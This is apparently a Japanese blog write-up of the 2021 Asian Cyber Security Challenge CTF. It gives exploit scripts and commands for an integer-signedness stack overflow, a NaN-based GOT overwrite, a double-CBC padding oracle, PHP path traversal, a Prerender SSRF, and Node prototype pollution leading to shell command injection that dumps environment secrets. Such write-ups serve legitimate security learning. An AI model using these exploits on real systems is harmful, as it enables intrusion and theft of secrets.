1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

Asian Cyber Security Challenge (ACSC) write-up

Last updated at Posted at 2021-09-19

どういうコンテストなのかいまいち分かっていない。若者向けのCTF国際大会があって、それのアジア地区代表を決めるためのコンテストなのか? おっさんやアジア地区居住者でない人はeligbleの対象ではないが、コンテストへの参加はご自由にという感じらしい。個人戦。

9問解いて、1701点、28位。

image.png

welcome (warmup-1)

Discord。

ACSC{welcome_to_ACSC_2021!}

RSA stream (crypto-100)

chal.py
import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

from flag import m
#m = b"ACSC{<REDACTED>}" # flag!

f = open("chal.py","rb").read() # I'll encrypt myself!
print("len:",len(f))
p = getStrongPrime(1024)
q = getStrongPrime(1024)

n = p * q
e = 0x10001
print("n =",n)
print("e =",e)
print("# flag length:",len(m))
m = pad(m, 255)
m = bytes_to_long(m)

assert m < n
stream = pow(m,e,n)
cipher = b""

for a in range(0,len(f),256):
  q = f[a:a+256]
  if len(q) < 256:q = pad(q, 256)
  q = bytes_to_long(q)
  c = stream ^ q
  cipher += long_to_bytes(c,256)
  e = gmpy2.next_prime(e)
  stream = pow(m,e,n)

open("chal.enc","wb").write(cipher)

指数$e$を変えながらフラグをRSAで暗号化し、それを疑似乱数生成器としたストリーム暗号。

同じ$n$と$m$、異なる$e$で暗号した結果を渡してはいけない。$c_1 = m^{e_1}$と$c_2 = m^{e_2}$からは、$\frac{c_1}{c_2} = m^{e_1-e_2}$が計算でき、これを繰り返すと最終的に$m^1 = m$が求められる。

solve.py
import gmpy2
from Crypto.Util.number import *
import sys

sys.setrecursionlimit(100000)

n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453
e = 65537

f = open("chal.py", "rb").read()
c = open("chal.enc", "rb").read()

c0 = bytes_to_long(f[0:256])^bytes_to_long(c[0:256])
c1 = bytes_to_long(f[256:512])^bytes_to_long(c[256:512])
e0 = e
e1 = gmpy2.next_prime(e)

def gcd(c0, c1, e0, e1):
  if e0<e1:
    return gcd(c1, c0, e1, e0)
  if e0==1:
    return c0
  return gcd(c0*pow(inverse(c1, n), e0//e1, n)%n, c1, e0%e1, e1)
m = gcd(c0, c1, e0, e1)
print(long_to_bytes(m))
$ python3 solve.py
b'ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e\x9e'

ACSC{changing_e_is_too_bad_idea_1119332842ed9c60c9917165c57dbd7072b016d5b683b67aba6a648456db189c}

filtered (pwn-100)

filtered.c
 :
/* Print `msg` and read `size` bytes into `buf` */
void readline(const char *msg, char *buf, size_t size) {
 :
}
 :
/* Entry point! */
int main() {
  int length;
  char buf[0x100];

  /* Read and check length */
  length = readint("Size: ");
  if (length > 0x100) {
    print("Buffer overflow detected!\n");
    exit(1);
  }

入力サイズをチェックしているのでスタックバッファーオーバーフローはできない……という問題。intとしてチェックしているのに、readlineの引数の型はsize_tなのがダメ。size_tは符号無しなので、負値を渡すと大きな値になってしまう。後は素直にスタックバッファオーバーフロー。シェルを呼び出す関数winも用意してくれているので簡単。

attack.py
from pwn import *

elf = ELF("filtered")
context.binary = elf

s = remote("filtered.chal.acsc.asia", 9001)
s.sendlineafter("Size: ", "-1")
s.sendlineafter("Data: ", b"a"*0x118+pack(elf.symbols.win))
s.interactive()
$ python3 attack.py
[*] '/mnt/d/documents/ctf/acsc/filtered/filtered'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Opening connection to filtered.chal.acsc.asia on port 9001: Done
[*] Switching to interactive mode
Bye!
$ ls -al
total 36
drwxr-xr-x 2 nobody pwn      4096 Sep 18 03:11 .
drwxr-xr-x 3 nobody nogroup  4096 Sep 18 03:11 ..
-r-xr-x--- 1 nobody pwn        40 Sep 17 10:48 .redir.sh
-r-xr-x--- 1 nobody pwn     17008 Sep 17 10:48 filtered
-r--r----- 1 nobody pwn        59 Sep 17 10:48 flag-08d995360bfb36072f5b6aedcc801cd7.txt
$ cat flag-08d995360bfb36072f5b6aedcc801cd7.txt
ACSC{GCC_d1dn'7_sh0w_w4rn1ng_f0r_1mpl1c17_7yp3_c0nv3rs10n}
$

sugar (rev-170)

ブートローダーの解析。QEMUのバイナリも入っていて、そのまま動かせるのがありがたい。

disk.imgの中のBOOTX64.EFIをGhidraで開いたら逆コンパイルしてくれた。エラーメッセージで何をやっているかは分かる。ディスクのEFI PARTから0x30バイト後の16バイト(ディスクのGUID?)を、プログラム中の鍵でAES暗号化したものと、入力されたフラグをhex decodeした結果が等しいかを調べている。AESはCBCだけれど、IVが00 00 ...なのでECB。

solve.py
from Crypto.Cipher import AES

aes = AES.new(bytes.fromhex("a186282314bb20353fea9fb3b09ef6cd"), AES.MODE_ECB)
flag = "ACSC{"+aes.encrypt(bytes.fromhex("5a504b64d72a3d4ba40aa0fa8e32d35d")).hex()+"}"
print(flag)
$ python3 solve.py
ACSC{91e3de705dee881dcba84e840feb0e24}
$ ./run.sh
Input flag: ACSC{91e3de705dee881dcba84e840feb0e24}
Correct!

ACSC{91e3de705dee881dcba84e840feb0e24}

histogram (pwn-200)

image.png

CSVをアップロードするとヒストグラムが表示されるウェブサービス。集計処理をサーバー側のネイティブコードで行っている。

「アップロードできないという問い合わせがいっぱい来ているけれど、修正はしません。お前の環境の問題だから、自分で何とかしろ」というアナウンスがあった。丁寧な対処法もセットで。

これか。

まあ、フロントエンドは飾りなのでどうでもいい。

histogram.c
 :
#define WEIGHT_MAX 600 // kg
#define HEIGHT_MAX 300 // cm
#define WEIGHT_STRIDE 10
#define HEIGHT_STRIDE 10
#define WSIZE (WEIGHT_MAX/WEIGHT_STRIDE)
#define HSIZE (HEIGHT_MAX/HEIGHT_STRIDE)

int map[WSIZE][HSIZE] = {0};
int wsum[WSIZE] = {0};
int hsum[HSIZE] = {0};
 :
/* Call this function to get the flag! */
void win(void) {
  char flag[0x100];
  FILE *fp = fopen("flag.txt", "r");
  int n = fread(flag, 1, sizeof(flag), fp);
  printf("%s", flag);
  exit(0);
}
 :
int read_data(FILE *fp) {
  /* Read data */
  double weight, height;
  int n = fscanf(fp, "%lf,%lf", &weight, &height);
  if (n == -1)
    return 1; /* End of data */
  else if (n != 2)
    fatal("Invalid input");

  /* Validate input */
  if (weight < 1.0 || weight >= WEIGHT_MAX)
    fatal("Invalid weight");
  if (height < 1.0 || height >= HEIGHT_MAX)
    fatal("Invalid height");

  /* Store to map */
  short i, j;
  i = (short)ceil(weight / WEIGHT_STRIDE) - 1;
  j = (short)ceil(height / HEIGHT_STRIDE) - 1;
  
  map[i][j]++;
  wsum[i]++;
  hsum[j]++;

  return 0;
}
 :

ceilが0を返したら範囲外アクセスになっちゃうのではとまず思ったが、weight < 1.0を弾いているので、1以上しか返さない。weightが通常の実数ならば。NaN。

test.c
#include <stdio.h>
#include <math.h>

int main()
{
    double f = NAN;
    printf("%d\n", f<1.0);
    printf("%d\n", f>=600);
    printf("%f\n", ceil(NAN/600));
    printf("%d\n", (int)ceil(NAN/600));
    printf("%d\n", (short)ceil(NAN/600));
    printf("%d\n", (short)ceil(NAN/600)-1);
}
$ gcc test.c -o test && ./test
0
0
nan
-2147483648
0
-1

NaNに対する比較演算子の結果はfalseになる。(int)だとINT_MINになる。へぇ。そのための(short)か。

負方向への範囲外アクセスができる。mapの上の方にはGOTがある。その関数が1回も呼び出されていなければ、関数のアドレスを取得する.pltの処理のアドレスが入っているので、インクリメントしてwinにする。

make_csv.py
fclose_plt = 0x404030
fclose_got = 0x401060
win = 0x401268
map = 0x4040a0

for i in range(win-fclose_got):
  h = ((fclose_plt-map)//4+30)*10+5
  print("nan,%d"%h)
$ python make_csv.py > attack.csv
attack.csv
nan,25
nan,25
nan,25
nan,25
 :

520行。

これをアップロードすると、APIの返り値の末尾にフラグが付いている。

{"status":"success","result":{"wsum":[0,0,0,...,0,520]]}}ACSC{NaN_demo_iiyo}

ACSC{NaN_demo_iiyo}

CBCBC (crypto-210)

Wow, free flags! But encrypted with CBC... twice?

CBC(Cipher Block Chaining)のpadding oracle attack。ただし、CBCが2回行われている。2回でも別にやること変わらなくない? と思ったけど、変わるわ。2個目以降のブロックが難しい。

ユーザーを作成するとユーザー名とadminかどうかを暗号化したトークンを返してきて、ユーザー名とトークンでログインができる。ユーザ作成時のユーザー名が空の場合は、なぜかadminのトークンを返してくる。ただし、adminのユーザー名は分からない。Adminのトークンからユーザー名を取り出せれば、adminとしてログインができて勝ち。トークンのパディングが間違っている場合と、入力したユーザー名とトークンのユーザー名が違う場合は、エラーメッセージが別なので、判別できる。

CBC.png

サーバーは、最後のブロックが、... 01... 02 02... 03 03 03、…のいずれかの形になっているかどうかを判定するオラクルになる。

$C_1$だけを送り、$IV1$を書き換えると$M_1$の対応するバイトが変わり、それが上記の形になっているかが分かる。後段のencの後の出力を1バイトずつ総当たりできる。これがpadding oracle attack。

2個目のブロックをどうするのかで悩んだけれど、図を描いて考えてみると、$IV2$で同じことができるな。2個目のブロックに対しては、$IV2$は復号処理を通らない。

attack.py
from pwn import *
from base64 import *
from Crypto.Cipher import AES

s = remote("167.99.77.49", 52171)
#s = process(["python3", "chal.py"])

s.sendlineafter("> ", "1")
s.sendlineafter("Your username: ", "")
s.recvline()
token = b64decode(s.recvline()[:-1])

iv1 = token[:16]
iv2 = token[16:32]
C = [token[i:i+16] for i in range(32, len(token), 16)]
#print(iv1, iv2, C)

def login(iv1, iv2, C):
  token = iv1+iv2+b"".join(C)
  token = b64encode(token)
  s.sendlineafter("> ", "2")
  s.sendlineafter("Your username: ", "hoge")
  s.sendlineafter("Your token: ", token)
  return "Check your token again" not in s.recvline().decode()

# 1st block
m = [0]*16
for p in range(16):
  for i in range(256):
    m[15-p] = i
    iv = bytes(x^(p+1) for x in m)
    if login(iv, iv2, [C[0]]):
      break
  print(bytes(x^y for x, y in zip(iv1, m)))

# 2nd block
m = [0]*16
for p in range(16):
  for i in range(256):
    m[15-p] = i
    iv = bytes(x^(p+1) for x in m)
    if login(bytes(16), iv, C[:2]):
      break
  print(bytes(x^y for x, y in zip(iv2, m)))
$ python3 attack.py
[+] Opening connection to 167.99.77.49 on port 52171: Done
b'~\xc9E\xed\xccC\xb3H\xbbh:}\r\x95\xf23'
b'~\xc9E\xed\xccC\xb3H\xbbh:}\r\x95R3'
b'~\xc9E\xed\xccC\xb3H\xbbh:}\r"R3'
b'~\xc9E\xed\xccC\xb3H\xbbh:} "R3'
b'~\xc9E\xed\xccC\xb3H\xbbh:: "R3'
b'~\xc9E\xed\xccC\xb3H\xbbh": "R3'
b'~\xc9E\xed\xccC\xb3H\xbbe": "R3'
b'~\xc9E\xed\xccC\xb3Hme": "R3'
b'~\xc9E\xed\xccC\xb3ame": "R3'
b'~\xc9E\xed\xccCname": "R3'
b'~\xc9E\xed\xccrname": "R3'
b'~\xc9E\xedername": "R3'
b'~\xc9Esername": "R3'
b'~\xc9username": "R3'
b'~"username": "R3'
b'{"username": "R3'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06p:\xe2s'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06p:is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06p"is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6\x06 "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3\xe6, "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01\xb3", "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9f\x01E", "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xab\x9feE", "is'
b'\xc5\xe1\x83\xb2\x98\xc2\xabreE", "is'
b'\xc5\xe1\x83\xb2\x98\xc2TreE", "is'
b'\xc5\xe1\x83\xb2\x98kTreE", "is'
b'\xc5\xe1\x83\xb2ckTreE", "is'
b'\xc5\xe1\x83ackTreE", "is'
b'\xc5\xe11ackTreE", "is'
b'\xc5B1ackTreE", "is'
b'dB1ackTreE", "is'

2個目のブロックまででユーザー名が分かって良かった。

$ nc 167.99.77.49 52171
Welcome to CBCBC flag sharing service!
You can get the flag free!
This is super-duper safe from padding oracle attacks,
because it's using CBC twice!
=====================================================
1. Create user
2. Log in
3. Exit
> 1
Your username:
Your token:
XSaRYvLRSm23jLZwe9FZhjKCv2aipDSVb/ZRTBkyYdAr1eQDyfR5QWbokoaUxipeGVib5tIJJPHaDq4jsfoYpLOzGN9U6F95qzUkaA/Z/ts=
1. Create user
2. Log in
3. Exit
> 2
Your username: R3dB1ackTreE
Your token: XSaRYvLRSm23jLZwe9FZhjKCv2aipDSVb/ZRTBkyYdAr1eQDyfR5QWbokoaUxipeGVib5tIJJPHaDq4jsfoYpLOzGN9U6F95qzUkaA/Z/ts=
1. Show flag
2. Log out
3. Exit
> 1
ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}

ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}

API (web-220)

ソースコードが酷い。Content-Type: application/jsonでJSONを返さないし、パスコードは5文字でブルートフォースされそうだし、モデルの中で$_SESSIONを使うし、グローバル関数にすべき処理がクラスのメソッドにあるし……。簡潔でそれでいて難しい問題は美しいなと思うけれど、その対極。

脆弱性も酷い。

functions.php
 :
function challenge($obj){
    if ($obj->is_login()) {
        $admin = new Admin();
        if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');
        $cmd = $_REQUEST['c2'];
        if ($cmd) {
            switch($cmd){
                case "gu":
                    echo json_encode($admin->export_users());
                    break;
                case "gd":
                    echo json_encode($admin->export_db($_REQUEST['db']));
                    break;
                case "gp":
                    echo json_encode($admin->get_pass());
                    break;
                case "cf":
                    echo json_encode($admin->compare_flag($_REQUEST['flag']));
                    break;
 :

$admin->is_admin()falseならば処理を打ち切っているように見えて、$admin->redirectは、<script>location.href = ...を出力し、locationヘッダを設定するだけなので、処理が打ち切られない。特に何もしなくても、admin向けの処理が実行できる。

$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=u"
Register Success!
$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=i&c2=gu"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
"The passcode does not equal with your input."

なお、IDとパスワードの先頭は大文字という謎のチェックがある。

$admin->compare_flagなどを実行するにはパスコードが必要だが、そのパスコードを出力する$admin->get_pass()にはパスコードのチェックが無い。

$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=i&c2=gp"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
":<vNk"

$admin->compare_flag()はこれ。

Admin.class.php
 :
    public function compare_flag($flag){
        $this->flag = trim(file_get_contents("/flag"));
        if ($this->flag == $flag) return "Yess! That's it!";
        else return "That's not the flag..";
    }
 :

mainでウエイトも入っているし、そもそもネットワーク越しだし、タイミング攻撃は非現実的。

$admin->export_dbのディレクトリトラバーサルでフラグのファイルを直接読む。

$ curl -k https://api.chal.acsc.asia/api.php -d "id=Kusano1234&pw=Xjwmmejiieeq&c=i&c2=gd&pas=:<vNk&db=../../../../../flag"
<script type='text/javascript'>
        location.href = '/api.php?#access denied';
</script>
[["ACSC{it_is_hard_to_name_a_flag..isn't_it?}\n"]]

CTFの問題になるような綺麗で楽しい脆弱性なんて現実にはそうそうないぞ。本来は、こういう泥臭い作業をして、つまらない脆弱性を探すんだぞ。ということなのかもしれない。これはこれで良い問題。

ACSC{it_is_hard_to_name_a_flag..isn't_it?}

Swap on Curve (crypto-250)

One day, I tried to swap x and y coordinates of a Point on the Curve.

task.sage
from params import p, a, b, flag, y

x = int.from_bytes(flag, "big")

assert 0 < x < p
assert 0 < y < p
assert x != y

EC = EllipticCurve(GF(p), [a, b])

assert EC(x,y)
assert EC(y,x)

print("p = {}".format(p))
print("a = {}".format(a))
print("b = {}".format(b))

これだけ。美しい……。まあ、解けなかったのだけど。

y^2 = x^3 + ax + b \mod p \\
x^2 = y^3 + ay + b \mod p

という連立方程式を解けと。

image.png

WolframAlpah先生に投げてもこんなだし、3乗根は無理だよなぁ……。EC(x,y)+EC(y,x)がまあまあ綺麗になるけれど、そこからどうしたら良いかは分からん。

Favorite Emojis (web-330)

Dockerネットワーク内の、http://api:8000/ にフラグがある。正常系では、http://api:8000/v1/ 以下にしか行かない。

nginx.conf
server {
    listen 80;
 
    root   /usr/share/nginx/html/;
    index  index.html;

    location / {
        try_files $uri @prerender;
    }
 
    location /api/ {
        proxy_pass http://api:8000/v1/;
    }
 
    location @prerender {
        proxy_set_header X-Prerender-Token YOUR_TOKEN;
        
        set $prerender 0;
        if ($http_user_agent ~* "googlebot|bingbot|yandex|baiduspider|twitterbot|facebookexternalhit|rogerbot|linkedinbot|embedly|quora link preview|showyoubot|outbrain|pinterest\/0\.|pinterestbot|slackbot|vkShare|W3C_Validator|whatsapp") {
            set $prerender 1;
        }
        if ($args ~ "_escaped_fragment_") {
            set $prerender 1;
        }
        if ($http_user_agent ~ "Prerender") {
            set $prerender 0;
        }
        if ($uri ~* "\.(js|css|xml|less|png|jpg|jpeg|gif|pdf|doc|txt|ico|rss|zip|mp3|rar|exe|wmv|doc|avi|ppt|mpg|mpeg|tif|wav|mov|psd|ai|xls|mp4|m4a|swf|dat|dmg|iso|flv|m4v|torrent|ttf|woff|svg|eot)") {
            set $prerender 0;
        }
 
        if ($prerender = 1) {
            rewrite .* /$scheme://$host$request_uri? break;
            proxy_pass http://renderer:3000;
        }
        if ($prerender = 0) {
            rewrite .* /index.html break;
        }
    }
}

http://renderer:3000 はこれ。

これが何かというと、JavaScriptによるレンダリングが終わったHTMLを返してくれる。SPAで、検索エンジンからのアクセスをこっちに振り分けると、HTMLとして返してくれるからSEOに良い、というものらしい。

rewriteを見るに、これだけだよね……と思ったらタイムアウト。

$ curl http://favorite-emojis.chal.acsc.asia:5000/ -A googlebot -H "Host: api:8000"

$hostにはポート番号は入らず、 http://api/ になってしまう。

index.html
<script>
location.href="http://api:8000/";
</script>

を、ポート80でHTTPを提供している(HTTPSにリダイレクトしない)サーバーに置いて、

$ curl http://favorite-emojis.chal.acsc.asia:5000/ -A googlebot -H "Host: my-server.example.com"
<html><head></head><body>ACSC{sharks_are_always_hungry}</body></html>

Prerenderがリダイレクトを処理してくれないからHTTPSにリダイレクトするサーバーが使えず、ちょっと面倒だったのだけど、JavaScriptのリダイレクトは処理してくれるのか。

ちなみに、fetch("http://api:8000/")... みたいなのはCORSとして弾かれるはず。

この設定は公式サイトで紹介されているもので、「世の中のサイトは大丈夫なのか?」と思ったけど、公式サイトのほうは

nginx.conf
 :
        #resolve using Google's DNS server to force DNS resolution and prevent caching of IPs
        resolver 8.8.8.8;
 :

があるからセーフなのか。いや、IPアドレスで指定したら通りそうな気も……。

ACSC{sharks_are_always_hungry}

Cowsay as a Service (web-370)

image.png

ボタンをポチると参加者ごとに専用のインスタンスを建ててくれる。贅沢。

……それが必要になる脆弱性は1個しかないだろ。Prototype pollution attack。

index.js
 :
app.use(async (ctx, next) => {
  ctx.state.user = ctx.cookies.get('username');
  await next();
});
 :
router.post('/setting/:name', (ctx, next) => {
  if (!settings[ctx.state.user]) {
    settings[ctx.state.user] = {};
  }
  const setting = settings[ctx.state.user];
  setting[ctx.params.name] = ctx.request.body.value;
  ctx.redirect('/cowsay');
});
 :

username="__proto__"name="hoge"value="fuga"としてリクエストを投げると、settings.__proto__.hoge="fuga"が実行される。以降、この環境では、(自分自身がhogeを持っていない)全てのオブジェクトobjで、obj.hoge=="fuga"となる。

任意のオブジェクトの任意のプロパティが書き換えられるわけではなく、本来は持っていないプロパティに値を設定できるだけである。それをどう使うかは考える必要がある。この問題ではここ。

index.js
 :
router.get('/cowsay', (ctx, next) => {
  const setting = settings[ctx.state.user];
  const color = setting?.color || '#000000';

  let cowsay = '';
  if (ctx.request.query.say) {
    const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
    cowsay = result.stdout.toString();
 :

この処理を、

child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say],
  { timeout: 500, shell: "fuga" });

にできる。shellに文字列を指定したときは、そのプログラムをシェルとして実行するらしい。

フラグは環境変数に入っているので、"/usr/bin/env"にするだけで良いかと思ったけど、実行されるコマンドは、

/usr/bin/env -c /usr/games/cowsay aaaa

なので通らない。-cが付く。

shell"/bin/sh"にして、say$(env | grep FLAG)を渡す。

$ curl -b "username=__proto__" -d "value=/bin/sh" http://ruJXgHGwmUAfSvod:MOtKCocTnUSjXhGr@cowsay-nodes.chal.acsc.asia:64436/setting/shell
Redirecting to <a href="/cowsay">/cowsay</a>.

http://cowsay-nodes.chal.acsc.asia:64436/cowsay?say=$(env%20|%20grep%20FLAG)

 _______________________________________
< FLAG=ACSC{(oo)
 ---------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

フラグがこんなに短くはないだろ……。

$(env | grep FLAG | base64)

http://cowsay-nodes.chal.acsc.asia:64436/cowsay?say=$(env%20|%20grep%20FLAG|base64)

 _________________________________________
/ RkxBRz1BQ1NDeyhvbyk8TW9vb29vb29vX0IwOUR \
\ SV1dDU1ghfQo=                           /
 -----------------------------------------
        \   ^__^
         \  (oo)\_______
            (__)\       )\/\
                ||----w |
                ||     ||

デコードして、

FLAG=ACSC{(oo)<Moooooooo_B09DRWWCSX!}

<が邪魔をしていたのか。

ACSC{(oo)<Moooooooo_B09DRWWCSX!}

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?